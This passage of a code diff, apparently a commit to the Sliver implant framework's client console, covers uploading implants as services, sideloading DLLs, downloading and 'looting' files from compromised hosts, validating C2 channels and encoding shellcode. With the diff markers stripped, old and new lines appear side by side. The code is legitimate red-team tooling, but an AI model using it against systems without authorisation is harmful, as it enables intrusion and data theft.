implantProfile = prof
}
}
if implantProfile.GetName() == "" {
con.PrintErrorf("No profile found for name %s\n", profile)
return
}
serviceBinary, _ = generate.GetSliverBinary(implantProfile, con)
} else {
// use a custom exe instead of generating a new Sliver
fileBytes, err := ioutil.ReadFile(customExe)
if err != nil {
con.PrintErrorf("Error reading custom executable '%s'\n", customExe)
return
}
serviceBinary = fileBytes
}
// generate sliver
generateCtrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
generateCtrl <- true
<-generateCtrl
var implantProfile *clientpb.ImplantProfile
for _, prof := range profiles.Profiles {
if prof.Name == profile {
implantProfile = prof
}
}
if implantProfile.GetName() == "" {
con.PrintErrorf("No profile found for name %s\n", profile)
return
}
sliverBinary, err := generate.GetSliverBinary(implantProfile, con)
filename := randomString(10)
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
uploadGzip := new(encoders.Gzip).Encode(serviceBinary)
// upload to remote target
uploadCtrl := make(chan bool)
con.SpinUntil("Uploading service binary ...", uploadCtrl)
+13 -20
View File
@@ -22,7 +22,6 @@ import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
@@ -62,6 +61,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ProcessName: processName,
Kill: !ctx.Flags.Bool("keep-alive"),
IsDLL: isDLL,
IsUnicode: ctx.Flags.Bool("unicode"),
})
ctrl <- true
<-ctrl
@@ -70,7 +70,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
hostname := getHostname(session, beacon)
hostName := getHostname(session, beacon)
if sideload.Response != nil && sideload.Response.Async {
con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, sideload)
@@ -78,34 +78,27 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintSideload(sideload, hostname, ctx, con)
HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
})
con.PrintAsyncResponse(sideload.Response)
} else {
PrintSideload(sideload, hostname, ctx, con)
HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
}
}
// PrintSideload - Print the sideload command output
func PrintSideload(sideload *sliverpb.Sideload, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
if sideload.GetResponse().GetErr() != "" {
con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
return
}
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.PrintInfof("Output:\n%s", sideload.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideload.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
PrintExecutionOutput(sideload.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
if saveLoot {
LootExecute([]byte(sideload.Result), lootName, ctx.Command.Name, binPath, hostName, con)
}
}
+12 -21
View File
@@ -4,8 +4,6 @@ import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
@@ -48,7 +46,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl <- true
<-ctrl
hostname := getHostname(session, beacon)
hostName := getHostname(session, beacon)
if spawndll.Response != nil && spawndll.Response.Async {
con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, spawndll)
@@ -56,34 +54,27 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintSpawnDll(spawndll, hostname, ctx, con)
HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
})
con.PrintAsyncResponse(spawndll.Response)
} else {
PrintSpawnDll(spawndll, hostname, ctx, con)
HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
}
}
// PrintSpawnDll - Print the SpawnDll command response
func PrintSpawnDll(spawndll *sliverpb.SpawnDll, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
if spawndll.GetResponse().GetErr() != "" {
con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
return
}
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.PrintInfof("Output:\n%s", spawndll.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawndll.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
PrintExecutionOutput(spawndll.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
if saveLoot {
LootExecute([]byte(spawndll.GetResult()), lootName, ctx.Command.Name, binPath, hostName, con)
}
}
+12 -4
View File
@@ -31,6 +31,7 @@ import (
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
@@ -58,6 +59,7 @@ type ExtensionManifest struct {
OriginalAuthor string `json:"original_author"`
RepoURL string `json:"repo_url"`
Help string `json:"help"`
LongHelp string `json:"long_help"`
Files []*extensionFile `json:"files"`
Arguments []*extensionArgument `json:"arguments"`
Entrypoint string `json:"entrypoint"`
@@ -171,8 +173,9 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
loadedExtensions[extCmd.CommandName] = extCmd
helpMsg := extCmd.Help
extensionCmd := &grumble.Command{
Name: extCmd.CommandName,
Help: helpMsg,
Name: extCmd.CommandName,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
Run: func(extCtx *grumble.Context) error {
con.Println()
runExtensionCmd(extCtx, con)
@@ -192,12 +195,15 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
defaultValue grumble.ArgOption
)
switch arg.Type {
case "int", "short":
case "int", "integer", "short":
argFunc = a.Int
defaultValue = grumble.Default(0)
case "string", "wstring", "file":
argFunc = a.String
defaultValue = grumble.Default("")
default:
con.PrintErrorf("Invalid argument type: %s\n", arg.Type)
return
}
if arg.Optional {
argFunc(arg.Name, arg.Desc, defaultValue)
@@ -240,7 +246,7 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
if !depLoaded && extName == ext.DependsOn {
depLoaded = true
}
if ext.Name == extName {
if ext.CommandName == extName {
return nil
}
}
@@ -420,6 +426,8 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([
// Parse BOF arguments from grumble
for _, arg := range ext.Arguments {
switch arg.Type {
case "integer":
fallthrough
case "int":
val := ctx.Args.Int(arg.Name)
err = argsBuffer.AddInt(uint32(val))
+30 -2
View File
@@ -27,6 +27,7 @@ import (
"github.com/alecthomas/chroma/formatters"
"github.com/alecthomas/chroma/lexers"
"github.com/alecthomas/chroma/styles"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -49,10 +50,14 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", filePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -74,16 +79,39 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// PrintCat - Print the download to stdout
func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
var (
lootDownload bool = true
err error
)
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
userLootType := ctx.Flags.String("type")
userLootFileType := ctx.Flags.String("file-type")
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
}
}
if saveLoot {
lootType, err := loot.ValidateLootType(userLootType)
if err != nil {
con.PrintErrorf("%s\n", err)
return
// Even if the loot type is bad, we can still print the result to the screen
// We will not loot it though
lootDownload = false
}
fileType := loot.ValidateLootFileType(userLootFileType, download.Data)
if lootDownload {
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
con.Printf("\n")
}
}
if ctx.Flags.Bool("colorize-output") {
+144 -52
View File
@@ -24,44 +24,36 @@ import (
"os"
"path"
"path/filepath"
"regexp"
"runtime"
"strings"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"gopkg.in/AlecAivazis/survey.v1"
"github.com/desertbit/grumble"
)
// DownloadCmd - Download a file from the remote system
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
src := remotePath
fileName := filepath.Base(src)
dst, _ := filepath.Abs(localPath)
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
recurse := ctx.Flags.Bool("recurse")
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
Recurse: recurse,
})
ctrl <- true
<-ctrl
@@ -76,60 +68,160 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintDownload(download, ctx, con)
HandleDownloadResponse(download, ctx, con)
})
con.PrintAsyncResponse(download.Response)
} else {
PrintDownload(download, ctx, con)
HandleDownloadResponse(download, ctx, con)
}
}
// PrintDownload - Print the download response, and save file to disk
func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
func prettifyDownloadName(path string) string {
nonAlphaNumericRegex, err := regexp.Compile("[^a-zA-Z0-9]+")
if err != nil {
// Well, we tried.
return path
}
pathNoSeparators := strings.ReplaceAll(path, "\\", "_")
pathNoSeparators = strings.ReplaceAll(pathNoSeparators, "/", "_")
filteredString := nonAlphaNumericRegex.ReplaceAllString(pathNoSeparators, "_")
// Collapse multiple underscores into one
multipleUnderscoreRegex, err := regexp.Compile("_{2,}")
if err != nil {
return filteredString
}
filteredString = multipleUnderscoreRegex.ReplaceAllString(filteredString, "_")
// If there is an underscore at the front of the filename, strip that off
if strings.HasPrefix(filteredString, "_") {
filteredString = filteredString[1:]
}
return filteredString
}
func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
src := remotePath
fileName := filepath.Base(src)
dst, _ := filepath.Abs(localPath)
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
return
}
}
dstFile, err := os.Create(dst)
if err != nil {
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
saveLoot := ctx.Flags.Bool("loot")
if download.ReadFiles == 0 {
// No files downloaded successfully.
con.PrintErrorf("No files downloaded from the implant - check permissions, path, and / or filters.\n")
return
}
defer dstFile.Close()
n, err := dstFile.Write(download.Data)
if err != nil {
con.PrintErrorf("Failed to write data %v\n", err)
if saveLoot {
lootName := ctx.Flags.String("name")
lootType, err := loot.ValidateLootType(ctx.Flags.String("type"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// Hand off to the loot package to take care of looting
fileType := loot.ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
} else {
con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
fileName := filepath.Base(remotePath)
dst, err := filepath.Abs(localPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
if download.IsDir {
// Come up with a good file name - filters might make the filename ugly
session, beacon := con.ActiveTarget.Get()
implantName := ""
if session != nil {
implantName = session.Name
} else if beacon != nil {
implantName = beacon.Name
}
fileName = fmt.Sprintf("%s_download_%s_%d.tar.gz", filepath.Base(implantName), filepath.Base(prettifyDownloadName(remotePath)), time.Now().Unix())
}
if runtime.GOOS == "windows" {
// Windows has a file path length of 260 characters
// +1 for the path separator before the file name
if len(dst)+len(fileName)+1 > 260 {
// Make an effort to shorten the file name. If this does not work, the operator will have to find somewhere else to put the file
fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix())
}
}
dst = path.Join(dst, fileName)
}
// Add an extension to a directory download if one is not provided.
if download.IsDir && (!strings.HasSuffix(dst, ".tgz") && !strings.HasSuffix(dst, ".tar.gz")) {
dst += ".tar.gz"
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
dstFile, err := os.Create(dst)
if err != nil {
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
return
}
defer dstFile.Close()
n, err := dstFile.Write(download.Data)
if err != nil {
con.PrintErrorf("Failed to write data %v\n", err)
} else {
var readFilesText string
var unreadFilesText string
if download.ReadFiles == 1 {
readFilesText = "file"
} else {
readFilesText = "files"
}
if download.UnreadableFiles == 1 {
unreadFilesText = "file"
} else {
unreadFilesText = "files"
}
con.PrintInfof("Wrote %d bytes (%d %s successfully, %d %s unsuccessfully) to %s\n",
n,
download.ReadFiles,
readFilesText,
download.UnreadableFiles,
unreadFilesText,
dstFile.Name())
}
}
}
+22 -66
View File
@@ -22,7 +22,6 @@ import (
"bytes"
"context"
"fmt"
"path/filepath"
"sort"
"strings"
"text/tabwriter"
@@ -45,49 +44,6 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
remotePath := ctx.Args.String("path")
filter := ""
/*
Check to see if the remote path is a filter or contains a filter.
If the path passes the test to be a filter, then it is a filter
because paths are not valid filters.
*/
if remotePath != "." {
// Check if the path contains a filter
// Test on a standardized version of the path (change any \ to /)
testPath := strings.Replace(remotePath, "\\", "/", -1)
/*
Cannot use the path or filepath libraries because the OS
of the client does not necessarily match the OS of the
implant
*/
lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
if lastSeparatorOccurrence == -1 {
// Then this is only a filter
filter = remotePath
remotePath = "."
} else {
// Then we need to test for a filter on the end of the string
// The indicies should be the same because we did not change the length of the string
baseDir := remotePath[:lastSeparatorOccurrence+1]
potentialFilter := remotePath[lastSeparatorOccurrence+1:]
_, err := filepath.Match(potentialFilter, "")
if err == nil {
// Then we have a filter on the end of the path
remotePath = baseDir
filter = potentialFilter
} else {
if !strings.HasSuffix(remotePath, "/") {
remotePath = remotePath + "/"
}
}
}
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
@@ -104,23 +60,38 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintLs(ls, ctx.Flags, filter, con)
PrintLs(ls, ctx.Flags, con)
})
con.PrintAsyncResponse(ls.Response)
} else {
PrintLs(ls, ctx.Flags, filter, con)
PrintLs(ls, ctx.Flags, con)
}
}
// PrintLs - Display an sliverpb.Ls object
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console.SliverConsoleClient) {
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, con *console.SliverConsoleClient) {
if ls.Response != nil && ls.Response.Err != "" {
con.PrintErrorf("%s\n", ls.Response.Err)
return
}
con.Printf("%s\n", ls.Path)
con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
// Generate metadata to print with the path
numberOfFiles := len(ls.Files)
var totalSize int64 = 0
var pathInfo string
for _, fileInfo := range ls.Files {
totalSize += fileInfo.Size
}
if numberOfFiles == 1 {
pathInfo = fmt.Sprintf("%s (%d item, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
} else {
pathInfo = fmt.Sprintf("%s (%d items, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
}
con.Printf("%s\n", pathInfo)
con.Printf("%s\n", strings.Repeat("=", len(pathInfo)))
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
@@ -174,29 +145,14 @@ func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console
}
for _, fileInfo := range ls.Files {
if filter != "" {
fileMatch, err := filepath.Match(filter, fileInfo.Name)
if err != nil {
/*
This should not happen because we checked the filter
before reaching out to the implant.
*/
con.PrintErrorf("%s is not a valid filter: %s\n", filter, err)
break
}
if !fileMatch {
continue
}
}
modTime := time.Unix(fileInfo.ModTime, 0)
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
modTime = modTime.In(implantLocation)
if fileInfo.IsDir {
fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
} else if fileInfo.Link != "" {
fmt.Fprintf(table, "%s\t%s -> %s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
} else {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
}
+84
View File
@@ -0,0 +1,84 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
func MvCmd(ctx *grumble.Context, con *console.SliverConsoleClient) (err error) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
src := ctx.Args.String("src")
if src == "" {
con.PrintErrorf("Missing parameter: src\n")
return
}
dst := ctx.Args.String("dst")
if dst == "" {
con.PrintErrorf("Missing parameter: dst\n")
return
}
mv, err := con.Rpc.Mv(context.Background(), &sliverpb.MvReq{
Request: con.ActiveTarget.Request(ctx),
Src: src,
Dst: dst,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
mv.Src, mv.Dst = src, dst
if mv.Response != nil && mv.Response.Async {
con.AddBeaconCallback(mv.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, mv)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
})
con.PrintAsyncResponse(mv.Response)
} else {
PrintMv(mv, con)
}
return
}
// PrintMv - Print the renamed file
func PrintMv(mv *sliverpb.Mv, con *console.SliverConsoleClient) {
if mv.Response != nil && mv.Response.Err != "" {
con.PrintErrorf("%s\n", mv.Response.Err)
return
}
con.PrintInfof("%s > %s\n", mv.Src, mv.Dst)
}
+4
View File
@@ -64,6 +64,10 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dst := remotePath
fileBuf, err := ioutil.ReadFile(src)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
uploadGzip := new(encoders.Gzip).Encode(fileBuf)
ctrl := make(chan bool)
+11 -1
View File
@@ -38,7 +38,17 @@ func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, co
interval := time.Duration(ctx.Flags.Int64("days")) * time.Hour * 24
interval += time.Duration(ctx.Flags.Int64("hours")) * time.Hour
interval += time.Duration(ctx.Flags.Int64("minutes")) * time.Minute
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
/*
If seconds has not been specified but any of the other time units have, then do not add
the default 60 seconds to the interval.
If seconds have been specified, then add them regardless.
*/
if (ctx.Flags["seconds"].IsDefault && interval.Seconds() == 0) || (!ctx.Flags["seconds"].IsDefault) {
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
}
if interval < minBeaconInterval {
return ErrBeaconIntervalTooShort
}
+2 -8
View File
@@ -5,8 +5,6 @@ import (
"fmt"
"io/ioutil"
"net"
"os"
"path/filepath"
"regexp"
"strings"
@@ -95,15 +93,11 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if save != "" || format == "raw" {
saveTo, _ := filepath.Abs(save)
fi, err := os.Stat(saveTo)
saveTo, err := saveLocation(save, stageFile.GetFile().GetName())
if err != nil {
con.PrintErrorf("Failed to generate sliver stager %v\n", err)
return
}
if fi.IsDir() {
saveTo = filepath.Join(saveTo, stageFile.GetFile().GetName())
}
err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
+75 -11
View File
@@ -29,7 +29,6 @@ import (
"os"
"path"
"path/filepath"
"regexp"
"runtime"
"strings"
@@ -39,6 +38,7 @@ import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
@@ -164,15 +164,12 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
// Shared function that extracts the compile flags from the grumble context
func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
var name string
if ctx.Flags["name"] != nil {
if ctx.Flags.String("name") != "" {
name = strings.ToLower(ctx.Flags.String("name"))
if name != "" {
isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
if !isAlphanumeric(name) {
con.PrintErrorf("Implant's name must be in alphanumeric only\n")
return nil
}
if err := util.AllowedName(name); err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
}
@@ -258,6 +255,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
isShellcode := false
format := ctx.Flags.String("format")
runAtLoad := false
var configFormat clientpb.OutputFormat
switch format {
case "exe":
@@ -265,6 +263,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
case "shared":
configFormat = clientpb.OutputFormat_SHARED_LIB
isSharedLib = true
runAtLoad = ctx.Flags.Bool("run-at-load")
case "shellcode":
configFormat = clientpb.OutputFormat_SHELLCODE
isShellcode = true
@@ -303,6 +302,13 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
con.PrintInfof("Generated unique ip for wg peer tun interface: %s\n", tunIP.String())
}
// TODO: Use generics or something to check in a slice
connectionStrategy := ctx.Flags.String("strategy")
if connectionStrategy != "" && connectionStrategy != "s" && connectionStrategy != "r" && connectionStrategy != "rd" {
con.PrintErrorf("Invalid connection strategy: %s\n", connectionStrategy)
return nil
}
config := &clientpb.ImplantConfig{
GOOS: targetOS,
GOARCH: targetArch,
@@ -317,6 +323,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
WGTcpCommsPort: uint32(ctx.Flags.Int("tcp-comms")),
ConnectionStrategy: connectionStrategy,
ReconnectInterval: int64(reconnectInterval) * int64(time.Second),
PollTimeout: int64(pollTimeout) * int64(time.Second),
MaxConnectionErrors: uint32(maxConnectionErrors),
@@ -331,6 +338,8 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
IsSharedLib: isSharedLib,
IsService: isService,
IsShellcode: isShellcode,
RunAtLoad: runAtLoad,
}
return config
@@ -394,6 +403,9 @@ func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "mtls" {
return nil, fmt.Errorf("invalid mtls schema: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultMTLSLPort)
}
@@ -415,17 +427,20 @@ func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) {
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "mtls://") {
if strings.HasPrefix(arg, "wg://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
uri, err = url.Parse(fmt.Sprintf("wg://%s", arg))
if err != nil {
return nil, err
}
}
if uri.Scheme != "wg" {
return nil, fmt.Errorf("invalid wg schema: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultWGLPort)
}
@@ -458,6 +473,9 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "http" && uri.Scheme != "https" {
return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
@@ -487,6 +505,9 @@ func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "dns" {
return nil, fmt.Errorf("invalid dns scheme: %s", uri.Scheme)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
@@ -503,6 +524,9 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
arg = strings.ReplaceAll(arg, "\\", "/")
arg = strings.TrimPrefix(arg, "/")
arg = strings.TrimPrefix(arg, "/")
var uri *url.URL
var err error
if strings.HasPrefix(arg, "namedpipe://") {
@@ -516,6 +540,21 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "namedpipe" {
return nil, fmt.Errorf("invalid namedpipe scheme: %s", uri.Scheme)
}
if !strings.HasPrefix(uri.Path, "/pipe/") {
prompt := &survey.Confirm{
Message: fmt.Sprintf("Named pipe '%s' is missing the 'pipe' path prefix\nContinue anyways?", uri),
}
var confirm bool
survey.AskOne(prompt, &confirm)
if !confirm {
return nil, fmt.Errorf("invalid namedpipe path: %s", uri.Path)
}
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
@@ -548,6 +587,9 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "tcppivot" {
return nil, fmt.Errorf("invalid tcppivot scheme: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultTCPPivotPort)
}
@@ -594,12 +636,34 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
return nil, errors.New("no file data")
}
fileData := generated.File.Data
if config.IsShellcode {
confirm := false
survey.AskOne(&survey.Confirm{Message: "Encode shellcode with shikata ga nai?"}, &confirm)
if confirm {
con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
